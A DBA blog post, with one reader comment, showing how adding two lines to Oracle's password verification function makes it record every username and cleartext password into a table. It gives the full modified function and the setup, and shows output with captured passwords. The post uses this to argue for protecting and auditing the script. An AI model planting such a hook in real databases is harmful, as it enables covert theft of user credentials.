By Mouhamadou Diaw
Every DBA knows the famous oracle password verification script $ORALE_HOME/rdbms/admin/utlpwdmg.sql
This function can be used to control password complexity.
This script should be protected from unauthorized users. The reason is that by adding an insert in this function, someone can get passwords of users in the database.
Let’s go through an example
Here is my script (I have modified initial oracle script by just adding the 2 lines after the BEGIN)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
CREATE OR REPLACE FUNCTION ora12c_verify_function (username varchar2, password varchar2, old_password varchar2) RETURN boolean IS differ integer ; pw_lower varchar2(256); db_name varchar2(40); i integer ; simple_password varchar2(10); reverse_user varchar2(32); BEGIN -- ########## #Insert here these lines ################# INSERT INTO MYTAB VALUES (username, password ); COMMIT ; --#######################END INSERT ################ IF NOT ora_complexity_check( password , chars => 8, letter => 1, digit => 1) THEN RETURN ( FALSE ); END IF; -- Check if the password contains the username pw_lower := NLS_LOWER( password ); IF instr(pw_lower, NLS_LOWER(username)) > 0 THEN raise_application_error(-20002, 'Password contains the username' ); END IF; -- Check if the password contains the username reversed reverse_user := '' ; FOR i in REVERSE 1..length(username) LOOP reverse_user := reverse_user || substr(username, i, 1); END LOOP; IF instr(pw_lower, NLS_LOWER(reverse_user)) > 0 THEN raise_application_error(-20003, 'Password contains the username ' || 'reversed' ); END IF; -- Check if the password contains the server name select name into db_name from sys.v$ database ; IF instr(pw_lower, NLS_LOWER(db_name)) > 0 THEN raise_application_error(-20004, 'Password contains the server name' ); END IF; -- Check if the password contains 'oracle' IF instr(pw_lower, 'oracle' ) > 0 THEN raise_application_error(-20006, 'Password too simple' ); END IF; -- Check if the password is too simple. A dictionary of words may be -- maintained and a check may be made so as not to allow the words -- that are too simple for the password. IF pw_lower IN ( 'welcome1' , 'database1' , 'account1' , 'user1234' , 'password1' , 'oracle123' , 'computer1' , 'abcdefg1' , 'change_on_install' ) THEN raise_application_error(-20006, 'Password too simple' ); END IF; -- Check if the password differs from the previous password by at least -- 3 characters IF old_password IS NOT NULL THEN differ := ora_string_distance(old_password, password ); IF differ < 3 THEN raise_application_error(-20010, 'Password should differ from the ' || 'old password by at least 3 characters' ); END IF; END IF ; RETURN ( TRUE ); END ; / GRANT EXECUTE ON ora12c_verify_function TO PUBLIC ; ALTER PROFILE profile1 LIMIT PASSWORD_LIFE_TIME 180 PASSWORD_GRACE_TIME 7 PASSWORD_REUSE_TIME UNLIMITED PASSWORD_REUSE_MAX UNLIMITED FAILED_LOGIN_ATTEMPTS 10 PASSWORD_LOCK_TIME 1 PASSWORD_VERIFY_FUNCTION ora12c_verify_function; |
Now let’s create the profile1 and the table mytab, and after let’s execute the script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
SQL> create profile profile1 limit connect_time 45; Profile created. SQL> create table mytab (login varchar2(30),passe varchar2(30)); Table created. SQL> @?/rdbms/admin/utlpwdmg_mod.sql Function created. Grant succeeded. Profile altered. SQL> |
At this moment our password complexity is now working
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
SQL> create user joe identified by joe profile profile1; create user joe identified by joe profile profile1 * ERROR at line 1: ORA-28003: password verification for the specified password failed ORA-20001: Password length less than 8 SQL> create user joe identified by "DarV@rd0r25" profile profile1; User created. SQL> alter user joe identified by "Leil@Pri120" ; User altered. |
But now let’s do a select in our mytab table
1
2
3
4
5
6
7
8
9
|
SQL> select * from mytab; LOGIN PASSE ------------------------------ ------------------------------ JOE joe JOE DarV@rd0r25 JOE Leil@Pri120 SQL> |
Waw we have passwords, and even if we alter the password user, we will have the new one in the table.
That means that we have to protect our password verification script and we have to regularly audit the script to see if there is any change inside.
This is not a flaw , but just we must be careful when using this function.
Danijel
06.02.2023WOW man, I was not aware that such a security important function can be manipulated that much .... thanks for your article !